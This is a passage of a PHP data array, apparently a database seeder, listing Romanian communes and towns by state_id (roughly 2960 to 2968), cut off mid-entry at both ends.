mare'],\n ['state_id' => '2960', 'name' => 'bogdan voda'],\n ['state_id' => '2960', 'name' => 'boiu mare'],\n ['state_id' => '2960', 'name' => 'borsa'],\n ['state_id' => '2960', 'name' => 'botiza'],\n ['state_id' => '2960', 'name' => 'budesti'],\n ['state_id' => '2960', 'name' => 'calinesti'],\n ['state_id' => '2960', 'name' => 'campulung la tisa'],\n ['state_id' => '2960', 'name' => 'cavnic'],\n ['state_id' => '2960', 'name' => 'cernesti'],\n ['state_id' => '2960', 'name' => 'cicarlau'],\n ['state_id' => '2960', 'name' => 'copalnic manastur'],\n ['state_id' => '2960', 'name' => 'coroieni'],\n ['state_id' => '2960', 'name' => 'cupseni'],\n ['state_id' => '2960', 'name' => 'desesti'],\n ['state_id' => '2960', 'name' => 'dragomiresti'],\n ['state_id' => '2960', 'name' => 'dumbravita'],\n ['state_id' => '2960', 'name' => 'farcasa'],\n ['state_id' => '2960', 'name' => 'giulesti'],\n ['state_id' => '2960', 'name' => 'grosi'],\n ['state_id' => '2960', 'name' => 'ieud'],\n ['state_id' => '2960', 'name' => 'lapus'],\n ['state_id' => '2960', 'name' => 'leordina'],\n ['state_id' => '2960', 'name' => 'miresu mare'],\n ['state_id' => '2960', 'name' => 'moisei'],\n ['state_id' => '2960', 'name' => 'oarta de jos'],\n ['state_id' => '2960', 'name' => 'ocna sugatag'],\n ['state_id' => '2960', 'name' => 'petrova'],\n ['state_id' => '2960', 'name' => 'poienile izei'],\n ['state_id' => '2960', 'name' => 'poienile de sub munte'],\n ['state_id' => '2960', 'name' => 'recea'],\n ['state_id' => '2960', 'name' => 'remetea chioarului'],\n ['state_id' => '2960', 'name' => 'remeti'],\n ['state_id' => '2960', 'name' => 'repedea'],\n ['state_id' => '2960', 'name' => 'rona de jos'],\n ['state_id' => '2960', 'name' => 'rona de sus'],\n ['state_id' => '2960', 'name' => 'rozavlea'],\n ['state_id' => '2960', 'name' => 'ruscova'],\n ['state_id' => '2960', 'name' => 'sacalaseni'],\n ['state_id' => '2960', 'name' => 'sacel'],\n ['state_id' => '2960', 'name' => 'salistea de sus'],\n ['state_id' => '2960', 'name' => 'salsig'],\n ['state_id' => '2960', 'name' => 'sapanta'],\n ['state_id' => '2960', 'name' => 'sarasau'],\n ['state_id' => '2960', 'name' => 'sasar'],\n ['state_id' => '2960', 'name' => 'satulung'],\n ['state_id' => '2960', 'name' => 'seini'],\n ['state_id' => '2960', 'name' => 'sighetu marmatiei'],\n ['state_id' => '2960', 'name' => 'sisesti'],\n ['state_id' => '2960', 'name' => 'somcuta mare'],\n ['state_id' => '2960', 'name' => 'stramtura'],\n ['state_id' => '2960', 'name' => 'suciu de sus'],\n ['state_id' => '2960', 'name' => 'targu-lapus'],\n ['state_id' => '2960', 'name' => 'tautii margheraus'],\n ['state_id' => '2960', 'name' => 'ulmeni'],\n ['state_id' => '2960', 'name' => 'vadu izei'],\n ['state_id' => '2960', 'name' => 'valea chioarului'],\n ['state_id' => '2960', 'name' => 'vima mica'],\n ['state_id' => '2960', 'name' => 'viseu de jos'],\n ['state_id' => '2960', 'name' => 'viseu de sus'],\n ['state_id' => '2961', 'name' => 'baclesu'],\n ['state_id' => '2961', 'name' => 'baia de arama'],\n ['state_id' => '2961', 'name' => 'bala'],\n ['state_id' => '2961', 'name' => 'balacita'],\n ['state_id' => '2961', 'name' => 'balta'],\n ['state_id' => '2961', 'name' => 'balvanesti'],\n ['state_id' => '2961', 'name' => 'breznita ocol'],\n ['state_id' => '2961', 'name' => 'breznita-motru'],\n ['state_id' => '2961', 'name' => 'brosteni'],\n ['state_id' => '2961', 'name' => 'burila mare'],\n ['state_id' => '2961', 'name' => 'butoiesti'],\n ['state_id' => '2961', 'name' => 'cazanesti'],\n ['state_id' => '2961', 'name' => 'ciresu'],\n ['state_id' => '2961', 'name' => 'corcova'],\n ['state_id' => '2961', 'name' => 'corlatel'],\n ['state_id' => '2961', 'name' => 'cujmir'],\n ['state_id' => '2961', 'name' => 'darvari'],\n ['state_id' => '2961', 'name' => 'devesel'],\n ['state_id' => '2961', 'name' => 'drobeta-turnu severin'],\n ['state_id' => '2961', 'name' => 'dubova'],\n ['state_id' => '2961', 'name' => 'dumbrava'],\n ['state_id' => '2961', 'name' => 'eselnita'],\n ['state_id' => '2961', 'name' => 'floresti'],\n ['state_id' => '2961', 'name' => 'garla mare'],\n ['state_id' => '2961', 'name' => 'godeanu'],\n ['state_id' => '2961', 'name' => 'gogosu'],\n ['state_id' => '2961', 'name' => 'greci'],\n ['state_id' => '2961', 'name' => 'grozesti'],\n ['state_id' => '2961', 'name' => 'gruia'],\n ['state_id' => '2961', 'name' => 'hinova'],\n ['state_id' => '2961', 'name' => 'husnicioara'],\n ['state_id' => '2961', 'name' => 'ilovat'],\n ['state_id' => '2961', 'name' => 'ilovita'],\n ['state_id' => '2961', 'name' => 'isverna'],\n ['state_id' => '2961', 'name' => 'izvoru barzii'],\n ['state_id' => '2961', 'name' => 'jiana'],\n ['state_id' => '2961', 'name' => 'livezile'],\n ['state_id' => '2961', 'name' => 'malovat'],\n ['state_id' => '2961', 'name' => 'obarsia noua'],\n ['state_id' => '2961', 'name' => 'obarsia-closani'],\n ['state_id' => '2961', 'name' => 'oprisor'],\n ['state_id' => '2961', 'name' => 'orsova'],\n ['state_id' => '2961', 'name' => 'padina'],\n ['state_id' => '2961', 'name' => 'patulele'],\n ['state_id' => '2961', 'name' => 'podeni'],\n ['state_id' => '2961', 'name' => 'ponoarele'],\n ['state_id' => '2961', 'name' => 'poroina mare'],\n ['state_id' => '2961', 'name' => 'pristol'],\n ['state_id' => '2961', 'name' => 'prunisor'],\n ['state_id' => '2961', 'name' => 'punghina'],\n ['state_id' => '2961', 'name' => 'rogova'],\n ['state_id' => '2961', 'name' => 'salcia'],\n ['state_id' => '2961', 'name' => 'simian'],\n ['state_id' => '2961', 'name' => 'sisesti'],\n ['state_id' => '2961', 'name' => 'sovarna'],\n ['state_id' => '2961', 'name' => 'stangaceaua'],\n ['state_id' => '2961', 'name' => 'strehaia'],\n ['state_id' => '2961', 'name' => 'svinita'],\n ['state_id' => '2961', 'name' => 'tamna'],\n ['state_id' => '2961', 'name' => 'vanatori'],\n ['state_id' => '2961', 'name' => 'vanju mare'],\n ['state_id' => '2961', 'name' => 'vanjulet'],\n ['state_id' => '2961', 'name' => 'vladaia'],\n ['state_id' => '2961', 'name' => 'voloiac'],\n ['state_id' => '2962', 'name' => 'acatari'],\n ['state_id' => '2962', 'name' => 'adamus'],\n ['state_id' => '2962', 'name' => 'albesti'],\n ['state_id' => '2962', 'name' => 'alunis'],\n ['state_id' => '2962', 'name' => 'apold'],\n ['state_id' => '2962', 'name' => 'atintis'],\n ['state_id' => '2962', 'name' => 'bagaciu'],\n ['state_id' => '2962', 'name' => 'bahnea'],\n ['state_id' => '2962', 'name' => 'bala'],\n ['state_id' => '2962', 'name' => 'balauseri'],\n ['state_id' => '2962', 'name' => 'band'],\n ['state_id' => '2962', 'name' => 'batos'],\n ['state_id' => '2962', 'name' => 'beica de jos'],\n ['state_id' => '2962', 'name' => 'bichis'],\n ['state_id' => '2962', 'name' => 'bogata'],\n ['state_id' => '2962', 'name' => 'brancovenesti'],\n ['state_id' => '2962', 'name' => 'breaza'],\n ['state_id' => '2962', 'name' => 'ceuasul-de campie'],\n ['state_id' => '2962', 'name' => 'chetani'],\n ['state_id' => '2962', 'name' => 'chiheru de jos'],\n ['state_id' => '2962', 'name' => 'coroisanmartin'],\n ['state_id' => '2962', 'name' => 'cozma'],\n ['state_id' => '2962', 'name' => 'craciunesti'],\n ['state_id' => '2962', 'name' => 'craiesti'],\n ['state_id' => '2962', 'name' => 'cristesti'],\n ['state_id' => '2962', 'name' => 'cucerdea'],\n ['state_id' => '2962', 'name' => 'cuci'],\n ['state_id' => '2962', 'name' => 'danes'],\n ['state_id' => '2962', 'name' => 'deda'],\n ['state_id' => '2962', 'name' => 'eremitu'],\n ['state_id' => '2962', 'name' => 'ernei'],\n ['state_id' => '2962', 'name' => 'fantanele'],\n ['state_id' => '2962', 'name' => 'faragau'],\n ['state_id' => '2962', 'name' => 'galesti'],\n ['state_id' => '2962', 'name' => 'ganesti'],\n ['state_id' => '2962', 'name' => 'gheorghe doja'],\n ['state_id' => '2962', 'name' => 'ghindari'],\n ['state_id' => '2962', 'name' => 'glodeni'],\n ['state_id' => '2962', 'name' => 'gornesti'],\n ['state_id' => '2962', 'name' => 'grebenisu de campie'],\n ['state_id' => '2962', 'name' => 'gurghiu'],\n ['state_id' => '2962', 'name' => 'hodac'],\n ['state_id' => '2962', 'name' => 'hodosa'],\n ['state_id' => '2962', 'name' => 'ibanesti'],\n ['state_id' => '2962', 'name' => 'iclanzel'],\n ['state_id' => '2962', 'name' => 'ideciu de jos'],\n ['state_id' => '2962', 'name' => 'iernut'],\n ['state_id' => '2962', 'name' => 'livezeni'],\n ['state_id' => '2962', 'name' => 'ludus'],\n ['state_id' => '2962', 'name' => 'lunca'],\n ['state_id' => '2962', 'name' => 'lunca bradului'],\n ['state_id' => '2962', 'name' => 'magherani'],\n ['state_id' => '2962', 'name' => 'mica'],\n ['state_id' => '2962', 'name' => 'miercurea nirajului'],\n ['state_id' => '2962', 'name' => 'mihesu de campie'],\n ['state_id' => '2962', 'name' => 'nades'],\n ['state_id' => '2962', 'name' => 'neaua'],\n ['state_id' => '2962', 'name' => 'ogra'],\n ['state_id' => '2962', 'name' => 'panet'],\n ['state_id' => '2962', 'name' => 'papiu ilarian'],\n ['state_id' => '2962', 'name' => 'pasareni'],\n ['state_id' => '2962', 'name' => 'petelea'],\n ['state_id' => '2962', 'name' => 'pogaceaua'],\n ['state_id' => '2962', 'name' => 'raciu'],\n ['state_id' => '2962', 'name' => 'rastolita'],\n ['state_id' => '2962', 'name' => 'reghin'],\n ['state_id' => '2962', 'name' => 'rusii munti'],\n ['state_id' => '2962', 'name' => 'sancraiul-de-mures'],\n ['state_id' => '2962', 'name' => 'sangeorg-de mures'],\n ['state_id' => '2962', 'name' => 'sangeorgiu-de-padure'],\n ['state_id' => '2962', 'name' => 'sanger'],\n ['state_id' => '2962', 'name' => 'sanpaul'],\n ['state_id' => '2962', 'name' => 'sanpetru-de-campie'],\n ['state_id' => '2962', 'name' => 'santana-de-mures'],\n ['state_id' => '2962', 'name' => 'sarmasu'],\n ['state_id' => '2962', 'name' => 'saschiz'],\n ['state_id' => '2962', 'name' => 'saulia'],\n ['state_id' => '2962', 'name' => 'sighisoara'],\n ['state_id' => '2962', 'name' => 'sincai'],\n ['state_id' => '2962', 'name' => 'solovastru'],\n ['state_id' => '2962', 'name' => 'sovata'],\n ['state_id' => '2962', 'name' => 'stanceni'],\n ['state_id' => '2962', 'name' => 'suplac'],\n ['state_id' => '2962', 'name' => 'suseni'],\n ['state_id' => '2962', 'name' => 'targu-mures'],\n ['state_id' => '2962', 'name' => 'tarnaveni'],\n ['state_id' => '2962', 'name' => 'taureni'],\n ['state_id' => '2962', 'name' => 'ungheni'],\n ['state_id' => '2962', 'name' => 'valea larga'],\n ['state_id' => '2962', 'name' => 'vanatori'],\n ['state_id' => '2962', 'name' => 'vargata'],\n ['state_id' => '2962', 'name' => 'vatava'],\n ['state_id' => '2962', 'name' => 'vetca'],\n ['state_id' => '2962', 'name' => 'viisoara'],\n ['state_id' => '2962', 'name' => 'voivodeni'],\n ['state_id' => '2962', 'name' => 'zagar'],\n ['state_id' => '2962', 'name' => 'zau de campie'],\n ['state_id' => '2963', 'name' => 'agapia'],\n ['state_id' => '2963', 'name' => 'bahna'],\n ['state_id' => '2963', 'name' => 'baltatesti'],\n ['state_id' => '2963', 'name' => 'bara'],\n ['state_id' => '2963', 'name' => 'bargaoani'],\n ['state_id' => '2963', 'name' => 'bicaz'],\n ['state_id' => '2963', 'name' => 'bicaz chei'],\n ['state_id' => '2963', 'name' => 'bicazu ardelean'],\n ['state_id' => '2963', 'name' => 'bodesti'],\n ['state_id' => '2963', 'name' => 'borca'],\n ['state_id' => '2963', 'name' => 'borlesti'],\n ['state_id' => '2963', 'name' => 'botesti'],\n ['state_id' => '2963', 'name' => 'bozieni'],\n ['state_id' => '2963', 'name' => 'brusturi-draganesti'],\n ['state_id' => '2963', 'name' => 'candesti'],\n ['state_id' => '2963', 'name' => 'ceahlau'],\n ['state_id' => '2963', 'name' => 'cordun'],\n ['state_id' => '2963', 'name' => 'costisa'],\n ['state_id' => '2963', 'name' => 'cracaoani'],\n ['state_id' => '2963', 'name' => 'damuc'],\n ['state_id' => '2963', 'name' => 'dobreni'],\n ['state_id' => '2963', 'name' => 'doljesti'],\n ['state_id' => '2963', 'name' => 'dragomiresti'],\n ['state_id' => '2963', 'name' => 'dulcesti'],\n ['state_id' => '2963', 'name' => 'dumbrava rosie'],\n ['state_id' => '2963', 'name' => 'farcasa'],\n ['state_id' => '2963', 'name' => 'faurei'],\n ['state_id' => '2963', 'name' => 'garcina'],\n ['state_id' => '2963', 'name' => 'gheraesti'],\n ['state_id' => '2963', 'name' => 'girov'],\n ['state_id' => '2963', 'name' => 'grinties'],\n ['state_id' => '2963', 'name' => 'grumazesti'],\n ['state_id' => '2963', 'name' => 'hangu'],\n ['state_id' => '2963', 'name' => 'horia'],\n ['state_id' => '2963', 'name' => 'icusesti'],\n ['state_id' => '2963', 'name' => 'ion creanga'],\n ['state_id' => '2963', 'name' => 'margineni'],\n ['state_id' => '2963', 'name' => 'moldoveni'],\n ['state_id' => '2963', 'name' => 'oniceni'],\n ['state_id' => '2963', 'name' => 'pangarati'],\n ['state_id' => '2963', 'name' => 'pastraveni'],\n ['state_id' => '2963', 'name' => 'petricani'],\n ['state_id' => '2963', 'name' => 'piatra neamt'],\n ['state_id' => '2963', 'name' => 'piatra soimului'],\n ['state_id' => '2963', 'name' => 'pipirig'],\n ['state_id' => '2963', 'name' => 'podoleni'],\n ['state_id' => '2963', 'name' => 'poiana teiului'],\n ['state_id' => '2963', 'name' => 'poienari'],\n ['state_id' => '2963', 'name' => 'raucesti'],\n ['state_id' => '2963', 'name' => 'razboieni'],\n ['state_id' => '2963', 'name' => 'rediu'],\n ['state_id' => '2963', 'name' => 'roman'],\n ['state_id' => '2963', 'name' => 'romani'],\n ['state_id' => '2963', 'name' => 'roznov'],\n ['state_id' => '2963', 'name' => 'sabaoani'],\n ['state_id' => '2963', 'name' => 'sagna'],\n ['state_id' => '2963', 'name' => 'savinesti'],\n ['state_id' => '2963', 'name' => 'secuieni'],\n ['state_id' => '2963', 'name' => 'stanita'],\n ['state_id' => '2963', 'name' => 'stefan cel mare'],\n ['state_id' => '2963', 'name' => 'tamaseni'],\n ['state_id' => '2963', 'name' => 'tarcau'],\n ['state_id' => '2963', 'name' => 'targu-neamt'],\n ['state_id' => '2963', 'name' => 'tasca'],\n ['state_id' => '2963', 'name' => 'tazlau'],\n ['state_id' => '2963', 'name' => 'tibucani'],\n ['state_id' => '2963', 'name' => 'timisesti'],\n ['state_id' => '2963', 'name' => 'trifesti'],\n ['state_id' => '2963', 'name' => 'tupilati'],\n ['state_id' => '2963', 'name' => 'urecheni'],\n ['state_id' => '2963', 'name' => 'valea ursului'],\n ['state_id' => '2963', 'name' => 'vanatori-neamt'],\n ['state_id' => '2963', 'name' => 'viisoara'],\n ['state_id' => '2963', 'name' => 'zanesti'],\n ['state_id' => '2964', 'name' => 'babiciu'],\n ['state_id' => '2964', 'name' => 'baldovinesti'],\n ['state_id' => '2964', 'name' => 'bals'],\n ['state_id' => '2964', 'name' => 'barasti'],\n ['state_id' => '2964', 'name' => 'barza'],\n ['state_id' => '2964', 'name' => 'bobicesti'],\n ['state_id' => '2964', 'name' => 'brancoveni'],\n ['state_id' => '2964', 'name' => 'brastavatu'],\n ['state_id' => '2964', 'name' => 'brebeni'],\n ['state_id' => '2964', 'name' => 'bucinisu'],\n ['state_id' => '2964', 'name' => 'caracal'],\n ['state_id' => '2964', 'name' => 'carlogani'],\n ['state_id' => '2964', 'name' => 'cezieni'],\n ['state_id' => '2964', 'name' => 'cilieni'],\n ['state_id' => '2964', 'name' => 'colonesti'],\n ['state_id' => '2964', 'name' => 'corabia'],\n ['state_id' => '2964', 'name' => 'corbu'],\n ['state_id' => '2964', 'name' => 'coteana'],\n ['state_id' => '2964', 'name' => 'crampoaia'],\n ['state_id' => '2964', 'name' => 'cungrea'],\n ['state_id' => '2964', 'name' => 'curtisoara'],\n ['state_id' => '2964', 'name' => 'daneasa'],\n ['state_id' => '2964', 'name' => 'deveselu'],\n ['state_id' => '2964', 'name' => 'dobretu'],\n ['state_id' => '2964', 'name' => 'dobrosloveni'],\n ['state_id' => '2964', 'name' => 'dobroteasa'],\n ['state_id' => '2964', 'name' => 'dobrun'],\n ['state_id' => '2964', 'name' => 'draganesti-olt'],\n ['state_id' => '2964', 'name' => 'draghiceni'],\n ['state_id' => '2964', 'name' => 'fagetelu'],\n ['state_id' => '2964', 'name' => 'falcoiu'],\n ['state_id' => '2964', 'name' => 'farcasele'],\n ['state_id' => '2964', 'name' => 'ganeasa'],\n ['state_id' => '2964', 'name' => 'garcovu'],\n ['state_id' => '2964', 'name' => 'giuvarasti'],\n ['state_id' => '2964', 'name' => 'gostavatu'],\n ['state_id' => '2964', 'name' => 'gradinari'],\n ['state_id' => '2964', 'name' => 'grojdibodu'],\n ['state_id' => '2964', 'name' => 'ianca'],\n ['state_id' => '2964', 'name' => 'iancu jianu'],\n ['state_id' => '2964', 'name' => 'icoana'],\n ['state_id' => '2964', 'name' => 'izbiceni'],\n ['state_id' => '2964', 'name' => 'izvoarele'],\n ['state_id' => '2964', 'name' => 'leleasca'],\n ['state_id' => '2964', 'name' => 'maruntei'],\n ['state_id' => '2964', 'name' => 'mihaesti'],\n ['state_id' => '2964', 'name' => 'milcov'],\n ['state_id' => '2964', 'name' => 'morunglav'],\n ['state_id' => '2964', 'name' => 'movileni'],\n ['state_id' => '2964', 'name' => 'nicolae titulescu'],\n ['state_id' => '2964', 'name' => 'obarsia'],\n ['state_id' => '2964', 'name' => 'oboga'],\n ['state_id' => '2964', 'name' => 'oporelu'],\n ['state_id' => '2964', 'name' => 'optasi'],\n ['state_id' => '2964', 'name' => 'orlea'],\n ['state_id' => '2964', 'name' => 'osica de sus'],\n ['state_id' => '2964', 'name' => 'parscoveni'],\n ['state_id' => '2964', 'name' => 'perieti'],\n ['state_id' => '2964', 'name' => 'piatra olt'],\n ['state_id' => '2964', 'name' => 'plesoiu'],\n ['state_id' => '2964', 'name' => 'poboru'],\n ['state_id' => '2964', 'name' => 'potcoava'],\n ['state_id' => '2964', 'name' => 'priseaca'],\n ['state_id' => '2964', 'name' => 'radomiresti'],\n ['state_id' => '2964', 'name' => 'redea'],\n ['state_id' => '2964', 'name' => 'rotunda'],\n ['state_id' => '2964', 'name' => 'rusanesti'],\n ['state_id' => '2964', 'name' => 'samburesti'],\n ['state_id' => '2964', 'name' => 'scarisoara'],\n ['state_id' => '2964', 'name' => 'schitu'],\n ['state_id' => '2964', 'name' => 'scornicesti'],\n ['state_id' => '2964', 'name' => 'seaca'],\n ['state_id' => '2964', 'name' => 'serbanesti'],\n ['state_id' => '2964', 'name' => 'slatina'],\n ['state_id' => '2964', 'name' => 'slatioara'],\n ['state_id' => '2964', 'name' => 'spineni'],\n ['state_id' => '2964', 'name' => 'sprancenata'],\n ['state_id' => '2964', 'name' => 'stefan cel mare'],\n ['state_id' => '2964', 'name' => 'stoenesti'],\n ['state_id' => '2964', 'name' => 'stoicanesti'],\n ['state_id' => '2964', 'name' => 'strejesti'],\n ['state_id' => '2964', 'name' => 'studina'],\n ['state_id' => '2964', 'name' => 'tatulesti'],\n ['state_id' => '2964', 'name' => 'teslui'],\n ['state_id' => '2964', 'name' => 'tia mare'],\n ['state_id' => '2964', 'name' => 'topana'],\n ['state_id' => '2964', 'name' => 'traian'],\n ['state_id' => '2964', 'name' => 'tufeni'],\n ['state_id' => '2964', 'name' => 'urzica'],\n ['state_id' => '2964', 'name' => 'vadastra'],\n ['state_id' => '2964', 'name' => 'vadastrita'],\n ['state_id' => '2964', 'name' => 'valcele'],\n ['state_id' => '2964', 'name' => 'valea mare'],\n ['state_id' => '2964', 'name' => 'valeni'],\n ['state_id' => '2964', 'name' => 'verguleasa'],\n ['state_id' => '2964', 'name' => 'visina'],\n ['state_id' => '2964', 'name' => 'vitomiresti'],\n ['state_id' => '2964', 'name' => 'vladila'],\n ['state_id' => '2964', 'name' => 'voineasa'],\n ['state_id' => '2964', 'name' => 'vulpeni'],\n ['state_id' => '2964', 'name' => 'vulturesti'],\n ['state_id' => '2965', 'name' => 'adunati'],\n ['state_id' => '2965', 'name' => 'albesti-paleologu'],\n ['state_id' => '2965', 'name' => 'alunis'],\n ['state_id' => '2965', 'name' => 'apostolache'],\n ['state_id' => '2965', 'name' => 'aricestii-rahtivani'],\n ['state_id' => '2965', 'name' => 'aricestii-zeletin'],\n ['state_id' => '2965', 'name' => 'azuga'],\n ['state_id' => '2965', 'name' => 'baba ana'],\n ['state_id' => '2965', 'name' => 'baicoi'],\n ['state_id' => '2965', 'name' => 'balta doamnei'],\n ['state_id' => '2965', 'name' => 'baltesti'],\n ['state_id' => '2965', 'name' => 'banesti'],\n ['state_id' => '2965', 'name' => 'barcanesti'],\n ['state_id' => '2965', 'name' => 'berceni'],\n ['state_id' => '2965', 'name' => 'bertea'],\n ['state_id' => '2965', 'name' => 'blejoi'],\n ['state_id' => '2965', 'name' => 'boldesti'],\n ['state_id' => '2965', 'name' => 'boldesti-scaeni'],\n ['state_id' => '2965', 'name' => 'brazi'],\n ['state_id' => '2965', 'name' => 'breaza'],\n ['state_id' => '2965', 'name' => 'brebu'],\n ['state_id' => '2965', 'name' => 'bucov'],\n ['state_id' => '2965', 'name' => 'busteni'],\n ['state_id' => '2965', 'name' => 'calugareni'],\n ['state_id' => '2965', 'name' => 'campina'],\n ['state_id' => '2965', 'name' => 'carbunesti'],\n ['state_id' => '2965', 'name' => 'ceptura'],\n ['state_id' => '2965', 'name' => 'cerasu'],\n ['state_id' => '2965', 'name' => 'chiojdeanca'],\n ['state_id' => '2965', 'name' => 'ciorani'],\n ['state_id' => '2965', 'name' => 'cocorastii-misli'],\n ['state_id' => '2965', 'name' => 'colceag'],\n ['state_id' => '2965', 'name' => 'comarnic'],\n ['state_id' => '2965', 'name' => 'cornu'],\n ['state_id' => '2965', 'name' => 'cosminele'],\n ['state_id' => '2965', 'name' => 'doftana'],\n ['state_id' => '2965', 'name' => 'draganesti'],\n ['state_id' => '2965', 'name' => 'drajna'],\n ['state_id' => '2965', 'name' => 'dumbrava'],\n ['state_id' => '2965', 'name' => 'dumbravesti'],\n ['state_id' => '2965', 'name' => 'fantanele'],\n ['state_id' => '2965', 'name' => 'filipestii de padure'],\n ['state_id' => '2965', 'name' => 'filipestii de targ'],\n ['state_id' => '2965', 'name' => 'floresti'],\n ['state_id' => '2965', 'name' => 'fulga'],\n ['state_id' => '2965', 'name' => 'gherghita'],\n ['state_id' => '2965', 'name' => 'gorgota'],\n ['state_id' => '2965', 'name' => 'gornet'],\n ['state_id' => '2965', 'name' => 'gornet-cricov'],\n ['state_id' => '2965', 'name' => 'gura vadului'],\n ['state_id' => '2965', 'name' => 'gura vitioarei'],\n ['state_id' => '2965', 'name' => 'iordacheanu'],\n ['state_id' => '2965', 'name' => 'izvoarele'],\n ['state_id' => '2965', 'name' => 'jugureni'],\n ['state_id' => '2965', 'name' => 'lapos'],\n ['state_id' => '2965', 'name' => 'lipanesti'],\n ['state_id' => '2965', 'name' => 'magurele'],\n ['state_id' => '2965', 'name' => 'magureni'],\n ['state_id' => '2965', 'name' => 'maneciu'],\n ['state_id' => '2965', 'name' => 'manesti'],\n ['state_id' => '2965', 'name' => 'mizil'],\n ['state_id' => '2965', 'name' => 'pacureti'],\n ['state_id' => '2965', 'name' => 'paulesti'],\n ['state_id' => '2965', 'name' => 'ploiesti'],\n ['state_id' => '2965', 'name' => 'plopeni'],\n ['state_id' => '2965', 'name' => 'plopu'],\n ['state_id' => '2965', 'name' => 'podenii noi'],\n ['state_id' => '2965', 'name' => 'poenarii-burchi'],\n ['state_id' => '2965', 'name' => 'poiana campina'],\n ['state_id' => '2965', 'name' => 'posesti'],\n ['state_id' => '2965', 'name' => 'predeal-sarari'],\n ['state_id' => '2965', 'name' => 'provita de jos'],\n ['state_id' => '2965', 'name' => 'provita de sus'],\n ['state_id' => '2965', 'name' => 'puchenii mari'],\n ['state_id' => '2965', 'name' => 'rafov'],\n ['state_id' => '2965', 'name' => 'salcia'],\n ['state_id' => '2965', 'name' => 'salciile'],\n ['state_id' => '2965', 'name' => 'sangeru'],\n ['state_id' => '2965', 'name' => 'scorteni'],\n ['state_id' => '2965', 'name' => 'secaria'],\n ['state_id' => '2965', 'name' => 'sinaia'],\n ['state_id' => '2965', 'name' => 'sirna'],\n ['state_id' => '2965', 'name' => 'slanic'],\n ['state_id' => '2965', 'name' => 'soimari'],\n ['state_id' => '2965', 'name' => 'sotrile'],\n ['state_id' => '2965', 'name' => 'starchiojd'],\n ['state_id' => '2965', 'name' => 'stefesti'],\n ['state_id' => '2965', 'name' => 'surani'],\n ['state_id' => '2965', 'name' => 'talea'],\n ['state_id' => '2965', 'name' => 'targsorul-vechi'],\n ['state_id' => '2965', 'name' => 'tataru'],\n ['state_id' => '2965', 'name' => 'teisani'],\n ['state_id' => '2965', 'name' => 'telega'],\n ['state_id' => '2965', 'name' => 'tinosu'],\n ['state_id' => '2965', 'name' => 'tomsani'],\n ['state_id' => '2965', 'name' => 'urlati'],\n ['state_id' => '2965', 'name' => 'valcanesti'],\n ['state_id' => '2965', 'name' => 'valea calugareasca'],\n ['state_id' => '2965', 'name' => 'valenii de munte'],\n ['state_id' => '2965', 'name' => 'varbilau'],\n ['state_id' => '2966', 'name' => 'agrij'],\n ['state_id' => '2966', 'name' => 'almasu'],\n ['state_id' => '2966', 'name' => 'babeni'],\n ['state_id' => '2966', 'name' => 'balan'],\n ['state_id' => '2966', 'name' => 'banisor'],\n ['state_id' => '2966', 'name' => 'benesat'],\n ['state_id' => '2966', 'name' => 'bobota'],\n ['state_id' => '2966', 'name' => 'bocsa'],\n ['state_id' => '2966', 'name' => 'buciumi'],\n ['state_id' => '2966', 'name' => 'camar'],\n ['state_id' => '2966', 'name' => 'carastelec'],\n ['state_id' => '2966', 'name' => 'cehu silvaniei'],\n ['state_id' => '2966', 'name' => 'chiesd'],\n ['state_id' => '2966', 'name' => 'cizer'],\n ['state_id' => '2966', 'name' => 'coseiu'],\n ['state_id' => '2966', 'name' => 'crasna'],\n ['state_id' => '2966', 'name' => 'creaca'],\n ['state_id' => '2966', 'name' => 'criseni'],\n ['state_id' => '2966', 'name' => 'cristolt'],\n ['state_id' => '2966', 'name' => 'cuzaplac'],\n ['state_id' => '2966', 'name' => 'dobrin'],\n ['state_id' => '2966', 'name' => 'dragu'],\n ['state_id' => '2966', 'name' => 'fildu de jos'],\n ['state_id' => '2966', 'name' => 'galgau'],\n ['state_id' => '2966', 'name' => 'garbou'],\n ['state_id' => '2966', 'name' => 'halmasd'],\n ['state_id' => '2966', 'name' => 'hereclean'],\n ['state_id' => '2966', 'name' => 'hida'],\n ['state_id' => '2966', 'name' => 'horoatu crasnei'],\n ['state_id' => '2966', 'name' => 'ileanda'],\n ['state_id' => '2966', 'name' => 'ip'],\n ['state_id' => '2966', 'name' => 'jibou'],\n ['state_id' => '2966', 'name' => 'letca'],\n ['state_id' => '2966', 'name' => 'lozna'],\n ['state_id' => '2966', 'name' => 'maeriste'],\n ['state_id' => '2966', 'name' => 'marca'],\n ['state_id' => '2966', 'name' => 'mesesenii de jos'],\n ['state_id' => '2966', 'name' => 'mirsid'],\n ['state_id' => '2966', 'name' => 'napradea'],\n ['state_id' => '2966', 'name' => 'nusfalau'],\n ['state_id' => '2966', 'name' => 'periceiu'],\n ['state_id' => '2966', 'name' => 'plopis'],\n ['state_id' => '2966', 'name' => 'poiana blenchii'],\n ['state_id' => '2966', 'name' => 'romanasi'],\n ['state_id' => '2966', 'name' => 'rus'],\n ['state_id' => '2966', 'name' => 'sag'],\n ['state_id' => '2966', 'name' => 'salatig'],\n ['state_id' => '2966', 'name' => 'samsud'],\n ['state_id' => '2966', 'name' => 'sanmihaiul-almasului'],\n ['state_id' => '2966', 'name' => 'sarmasag'],\n ['state_id' => '2966', 'name' => 'simleu silvaniei'],\n ['state_id' => '2966', 'name' => 'somes-odorhei'],\n ['state_id' => '2966', 'name' => 'surduc'],\n ['state_id' => '2966', 'name' => 'treznea'],\n ['state_id' => '2966', 'name' => 'valcau de jos'],\n ['state_id' => '2966', 'name' => 'varsolt'],\n ['state_id' => '2966', 'name' => 'zalau'],\n ['state_id' => '2966', 'name' => 'zalha'],\n ['state_id' => '2966', 'name' => 'zimbor'],\n ['state_id' => '2968', 'name' => 'agnita'],\n ['state_id' => '2968', 'name' => 'altina'],\n ['state_id' => '2968', 'name' => 'apoldu de jos'],\n ['state_id' => '2968', 'name' => 'arpasu de jos'],\n ['state_id' => '2968', 'name' => 'atel'],\n ['state_id' => '2968', 'name' => 'avrig'],\n ['state_id' => '2968', 'name' => 'axente sever'],\n ['state_id' => '2968', 'name' => 'barghis'],\n ['state_id' => '2968', 'name' => 'bazna'],\n ['state_id' => '2968', 'name' => 'biertan'],\n ['state_id' => '2968', 'name' => 'blajel'],\n ['state_id' => '2968', 'name' => 'bradeni'],\n ['state_id' => '2968', 'name' => 'brateiu'],\n ['state_id' => '2968', 'name' => 'bruiu'],\n ['state_id' => '2968', 'name' => 'carta'],\n ['state_id' => '2968', 'name' => 'cartisoara'],\n ['state_id' => '2968', 'name' => 'chirpar'],\n ['state_id' => '2968', 'name' => 